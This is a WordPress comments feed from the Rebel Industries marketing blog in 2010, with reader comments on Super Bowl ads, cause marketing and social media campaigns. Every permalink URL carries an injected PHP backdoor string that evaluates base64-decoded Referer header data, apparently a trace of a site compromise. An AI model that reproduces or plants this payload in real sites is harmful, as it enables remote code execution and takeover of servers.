Comments for Rebel Industries Blog http://rebelindustries.com "We Are The Brand Activists" Thu, 04 Mar 2010 00:36:15 -0800 http://wordpress.org/?v=2.8 hourly 1 Comment on My Stand-up Act at UCLA by Bianca Juarez http://rebelindustries.com/2010/02/27/my-stand-up-act-at-ucla/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-867 Bianca Juarez Thu, 04 Mar 2010 00:36:15 +0000 http://rebelindustries.com/?p=1247#comment-867 Loved your presentation. Great stuff :) Loved your presentation. Great stuff :)

]]> Comment on Gravity Summit // Headlines: Rebel Makes News by Red Bull // Down With Us | Rebel Industries Blog http://rebelindustries.com/2009/08/14/gravity-summit-headlines-rebel-makes-news/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-831 Red Bull // Down With Us | Rebel Industries Blog Wed, 17 Feb 2010 16:27:28 +0000 http://rebelindustries.com/?p=974#comment-831 [...] It seems like brands are launching social media campaigns every day, so why is this one “Down With Us” and not a Worst Practice? [...] [...] It seems like brands are launching social media campaigns every day, so why is this one “Down With Us” and not a Worst Practice? [...]

]]> Comment on Cause Marketing: Make it Hurt by TheTrueMoneyMaker http://rebelindustries.com/2010/01/25/cause-marketing-make-it-hurt/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-823 TheTrueMoneyMaker Mon, 15 Feb 2010 06:24:38 +0000 http://rebelindustries.com/?p=1205#comment-823 i havent tried this cause marketing, and i think its not a good idea, if we want to help then help not add it up and say its for a cause htt://thetruemoneymaker.blogspot.com i havent tried this cause marketing, and i think its not a good idea, if we want to help then help not add it up and say its for a cause

htt://thetruemoneymaker.blogspot.com

]]> Comment on Super Bowl Ads by Josh Levine http://rebelindustries.com/2010/02/08/super-bowl-ads/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-793 Josh Levine Mon, 08 Feb 2010 20:42:31 +0000 http://rebelindustries.com/?p=1215#comment-793 It's funny, maybe advertisers consider the Super Bowl their last bastion of "pure" advertising space where they still get a significant audience and don't have to resort to social tactics they don't really believe in anyway. Even Vizio, who showed its new interactive TV, didn't do anything interactive. I don't know the answer to your Grammy question, since I didn't watch the Grammys, Avatar, or the MJ tribute. Last time I had a pair of 3-D glasses on was at Captain EO in the '80s. It’s funny, maybe advertisers consider the Super Bowl their last bastion of “pure” advertising space where they still get a significant audience and don’t have to resort to social tactics they don’t really believe in anyway. Even Vizio, who showed its new interactive TV, didn’t do anything interactive.

I don’t know the answer to your Grammy question, since I didn’t watch the Grammys, Avatar, or the MJ tribute. Last time I had a pair of 3-D glasses on was at Captain EO in the ’80s.

]]> Comment on Super Bowl Ads by Josh Levine http://rebelindustries.com/2010/02/08/super-bowl-ads/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-791 Josh Levine Mon, 08 Feb 2010 20:38:24 +0000 http://rebelindustries.com/?p=1215#comment-791 Thanks Cynthia, I didn't get the Tebow ad, but the surrounding conversation definitely helped create some buzz — probably more than the spot itself. Thanks Cynthia, I didn’t get the Tebow ad, but the surrounding conversation definitely helped create some buzz — probably more than the spot itself.

]]> Comment on Super Bowl Ads by Johanna http://rebelindustries.com/2010/02/08/super-bowl-ads/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-790 Johanna Mon, 08 Feb 2010 20:28:22 +0000 http://rebelindustries.com/?p=1215#comment-790 I love Google and loved their ad... what was completely lacking was an interactive use of social media. The Grammys sort of did it in a live telecast: submitting pics to the Peas performance (though the telecast didn't show that screen too much) and voting for the Bon Jovi song (are B.Jovi fans the right age for social media). Side note on the grammys, tho not SMO, why didn't our 3D glasses from Avatar work on the MJ tribute? I love Google and loved their ad… what was completely lacking was an interactive use of social media. The Grammys sort of did it in a live telecast: submitting pics to the Peas performance (though the telecast didn’t show that screen too much) and voting for the Bon Jovi song (are B.Jovi fans the right age for social media).

Side note on the grammys, tho not SMO, why didn’t our 3D glasses from Avatar work on the MJ tribute?

]]> Comment on Super Bowl Ads by Cynthia Murnane http://rebelindustries.com/2010/02/08/super-bowl-ads/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-789 Cynthia Murnane Mon, 08 Feb 2010 20:26:47 +0000 http://rebelindustries.com/?p=1215#comment-789 I also thought that Tim Tebow's Focus on the Family Super Bowl Ad was a really interesting study on how media works in today's world. I personally did not follow the conversation leading up to it, but I know it was a huge point of controversy. Yet, the ad itself was very unassuming, has been described as a sort of "e-harmony" ad and in it's simple way, even one of the wittier ads shown. The controversy surrounding it just helped the advertiser to maximize their return. Overall I felt the total portfolio of commercials were lacking and missed most marks. Wonder whether ad testing was down, or whether client input was up? Something went amiss. I also thought that Tim Tebow’s Focus on the Family Super Bowl Ad was a really interesting study on how media works in today’s world. I personally did not follow the conversation leading up to it, but I know it was a huge point of controversy. Yet, the ad itself was very unassuming, has been described as a sort of “e-harmony” ad and in it’s simple way, even one of the wittier ads shown. The controversy surrounding it just helped the advertiser to maximize their return.

Overall I felt the total portfolio of commercials were lacking and missed most marks. Wonder whether ad testing was down, or whether client input was up? Something went amiss.

]]> Comment on Super Bowl Ads by Josh Levine http://rebelindustries.com/2010/02/08/super-bowl-ads/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-788 Josh Levine Mon, 08 Feb 2010 18:58:31 +0000 http://rebelindustries.com/?p=1215#comment-788 Thanks Steve. The Google ad was great, although for a moment I thought it was a Wikipedia ad, since a few of the answers were coming from there. Thanks Steve. The Google ad was great, although for a moment I thought it was a Wikipedia ad, since a few of the answers were coming from there.

]]> Comment on Super Bowl Ads by Steve Callahan http://rebelindustries.com/2010/02/08/super-bowl-ads/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-787 Steve Callahan Mon, 08 Feb 2010 18:54:47 +0000 http://rebelindustries.com/?p=1215#comment-787 I agree with your take on Super Bowl ads. One ad that strategically met it's audience was the Google ad. Love 'em or hate 'em "Google' is part of our lives and they wrapped consumer value into a simple emotional narrative thread. i think FloTV missed the mark on the sports ad by going down the private escape path as opposed to sharing the excitement path. They are getting there and I liked the will.i.am spot. I agree with your take on Super Bowl ads. One ad that strategically met it’s audience was the Google ad. Love ‘em or hate ‘em “Google’ is part of our lives and they wrapped consumer value into a simple emotional narrative thread.
i think FloTV missed the mark on the sports ad by going down the private escape path as opposed to sharing the excitement path. They are getting there and I liked the will.i.am spot.

]]> Comment on Super Bowl Ads by Josh Levine http://rebelindustries.com/2010/02/08/super-bowl-ads/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-786 Josh Levine Mon, 08 Feb 2010 18:22:16 +0000 http://rebelindustries.com/?p=1215#comment-786 Yeah, the Oprah ad was funny. And you're totally right, the Super Bowl epitomizes what's wrong with advertising: Way too much emphasis on creative, not nearly enough on strategy or understanding consumers. Yeah, the Oprah ad was funny.

And you’re totally right, the Super Bowl epitomizes what’s wrong with advertising: Way too much emphasis on creative, not nearly enough on strategy or understanding consumers.

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